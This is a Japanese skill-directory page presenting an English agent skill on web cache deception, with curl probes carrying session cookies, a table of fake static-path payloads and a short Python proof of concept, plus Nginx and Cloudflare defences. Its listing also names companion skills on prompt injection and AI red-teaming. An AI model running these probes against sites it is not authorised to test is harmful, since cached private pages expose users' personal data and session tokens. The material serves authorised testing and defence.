cache-deception
できること
このガイドは、CDNやプロキシが、ログインしたユーザーの非公開のページを公開のものとして保存してしまう、Webキャッシュの欺瞞を扱います。Webアプリの前にキャッシュを置くチーム向けです。
使う場面
- ✓サイトが拡張子やパスのパターンに基づいてページをキャッシュするCDNやプロキシを使っているとき。
- ✓認可されたテストで、非公開のページが静的に見えるURLの下にキャッシュされていないかを確認したいとき。
- ✓ログイン後のコンテンツのキャッシュのルールを見直しているチームのとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“当社のサイトはアプリの前にCDNを置いています。非公開のアカウントページが、静的に見えるURLの下にキャッシュされうるかを確認してもらえますか。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、テストアカウントで偽の静的なパスを付けてアカウントのページをリクエストし、キャッシュのヘッダーを確認し、ログインしていない訪問者が受け取るものと比べます。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Web Cache Deception
Reverse proxies / CDNs cache based on URL extension or path patterns
(.css, .jpg, /static/). If the origin server returns the
authenticated page for any path, attacker tricks the cache into storing
private content under a public-cacheable URL.
1. The classic
GET /account.css ← attacker visits, in their own session
Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
Cache stores response keyed on /account.css
GET /account.css ← victim or any unauth visitor
Cache HIT → serves the attacker-cached, victim-data response
2. Probe the deception
# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'
# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)
# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies
If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.
3. Variants
| Variant | Path |
|---|---|
.css suffix |
/account/foo.css |
.jpg suffix |
/account.jpg |
/static/ prefix |
/static/../account |
| Multiple slashes | /account//.css |
URL-encoded ; |
/account%3B.css |
| Trailing semi-segment | /account;foo.css |
| Double extension | /account.html.css |
| Path parameter | /account.css/anything |
Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.
4. Cache poisoning vs cache deception
- Deception — attacker forces cache of victim's data, served to others
- Poisoning — attacker injects content into a normal cached resource
This skill covers deception. Cache poisoning is a separate (overlapping) class.
5. Tools
- Param Miner (Burp plugin) — unkeyed param discovery
webcache.cyberxecution.comfor quick suffix probes- Manual via Burp Repeater
6. PoC
import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'
# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")
# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text # adjust to whatever marker your auth page has
7. Severity
| Bug | Severity |
|---|---|
| Cache deception exposing PII (email, name, balance) | Critical 8-9 |
| Cache deception of session token | Critical 9.8 (ATO) |
| Cache deception of public-only data | Informational |
| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |
8. Defender
# Nginx — prefix-based cache keys, NOT extension-based
location / {
proxy_pass http://origin;
proxy_cache_key "$scheme$proxy_host$uri";
add_header Cache-Control "private, no-store" always;
}
# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension
Apps should send Cache-Control: private, no-store on every authenticated
response to defeat both deception and poisoning.
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Web Cache Deception/ - Smuggling overlap:
skills/exploit/web/smuggling.md
Known exemplars
- Omer Gil's original PayPal disclosure (2017)
- Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
- 2023: notable Stripe disclosure of cache deception leading to PII leak
よくある質問
リスクは何ですか?
非公開のページが保存され、同じアドレスを使う他の訪問者に表示されうるということです。
どのパスがテストされますか?
非公開のページに偽の静的な拡張子やプレフィックスを付けたパスだとガイドは述べています。
どう直しますか?
ログイン後や非公開の応答を決して保存しないよう、キャッシュのルールを設定することです。
詳細
作者による元の説明
Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14052
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。